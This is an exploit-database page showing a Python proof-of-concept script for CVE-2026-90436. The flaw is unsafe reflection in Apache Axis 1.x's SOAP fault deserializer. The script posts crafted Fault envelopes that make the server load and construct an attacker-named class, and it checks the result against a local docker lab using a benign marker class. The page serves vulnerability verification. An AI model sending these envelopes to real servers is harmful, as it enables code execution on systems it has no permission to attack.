Exploit databaseDownload repository ZIP
GH-df41f16d48225987bc522a01e911c6ee
dinosn/axis-cve-2026-90436-lab-poc
Sources for CVE-2026-90436
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
dinosn/axis-cve-2026-90436-lab-pocRevision b7df4df5f4f8
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Suggested starting filePython · 4,141 bytes#!/usr/bin/env python3
"""
CVE-2026-90436 PoC driver.
Apache Axis 1.x (<=1.4, EOL): unsafe reflection (CWE-470) in the SOAP fault
deserializer. An inbound <Fault> whose <detail> carries <exceptionName> makes
the engine Class.forName(name, initialize=true) an attacker-chosen classpath
class; when a <detail> data element precedes <exceptionName>, the class is
also constructed via its (String) constructor with attacker data before the
AxisFault cast, inside a silently-swallowed try block.
Evidence channels: /tmp/axis-poc/*.txt markers and POC-GADGET stdout lines
from poc.Gadget (deployed in WEB-INF/lib).
Usage: python3 poc.py [host:port] [service-path]
python3 poc.py 127.0.0.1:18080 /axis/services/Version
"""
import http.client
import sys
import uuid
def envelope(detail_children):
return (
'<?xml version="1.0" encoding="utf-8"?>'
'<soapenv:Envelope '
'xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema">'
'<soapenv:Body>'
'<soapenv:Fault>'
'<faultcode>soapenv:Client</faultcode>'
'<faultstring>x</faultstring>'
'<detail>' + detail_children + '</detail>'
'</soapenv:Fault>'
'</soapenv:Body>'
'</soapenv:Envelope>'
)
def post(target, path, body):
conn = http.client.HTTPConnection(target, timeout=15)
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '""',
"Content-Length": str(len(body)),
}
conn.request("POST", path, body=body.encode("utf-8"), headers=headers)
resp = conn.getresponse()
payload = resp.read().decode("utf-8", "replace")
status = resp.status
conn.close()
return status, payload
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1:18080"
path = sys.argv[2] if len(sys.argv) > 2 else "/axis/services/Version"
tag = uuid.uuid4().hex[:8]
print("[*] target=%s path=%s tag=%s" % (target, path, tag))
# 0) positive control: server is up and serving the axis webapp
conn = http.client.HTTPConnection(target, timeout=15)
conn.request("GET", "/axis/")
r = conn.getresponse()
r.read()
conn.close()
print("[0] GET /axis/ -> HTTP %d (positive control: server reachable)" % r.status)
# 1) constructor primitive: <data> BEFORE <exceptionName>
body = envelope(
'<data xsi:type="xsd:string">ATTACKER-%s</data>'
'<exceptionName>poc.Gadget</exceptionName>' % tag)
s, p = post(target, path, body)
print("[1] ctor probe (data before exceptionName) -> HTTP %d, %d bytes" % (s, len(p)))
print(" expect: ctor.txt line carrying ATTACKER-%s" % tag)
# 2) static-init-only probe: <exceptionName> alone, no data element
body = envelope('<exceptionName>poc.Gadget</exceptionName>')
s, p = post(target, path, body)
print("[2] static-init probe (exceptionName only) -> HTTP %d, %d bytes" % (s, len(p)))
print(" expect: static-init.txt line (ctor must NOT fire: faultData null)")
# 3) order probe: <exceptionName> BEFORE <data> -> faultClass reset to String
body = envelope(
'<exceptionName>poc.Gadget</exceptionName>'
'<data xsi:type="xsd:string">ATTACKER-REORDER-%s</data>' % tag)
s, p = post(target, path, body)
print("[3] order probe (exceptionName before data) -> HTTP %d, %d bytes" % (s, len(p)))
print(" expect: NO new ctor.txt line (new String(...) is harmless)")
# 4) negative control: class name not on the classpath
body = envelope(
'<data xsi:type="xsd:string">NEG-%s</data>'
'<exceptionName>com.example.DoesNotExist</exceptionName>' % tag)
s, p = post(target, path, body)
print("[4] negative probe (absent class) -> HTTP %d, %d bytes" % (s, len(p)))
print(" expect: no new marker lines (CNFE swallowed)")
print("[*] evidence: docker exec axis-lab sh -c 'cat /tmp/axis-poc/*'")
print("[*] and: docker logs axis-lab 2>&1 | grep POC-GADGET")
if __name__ == "__main__":
main()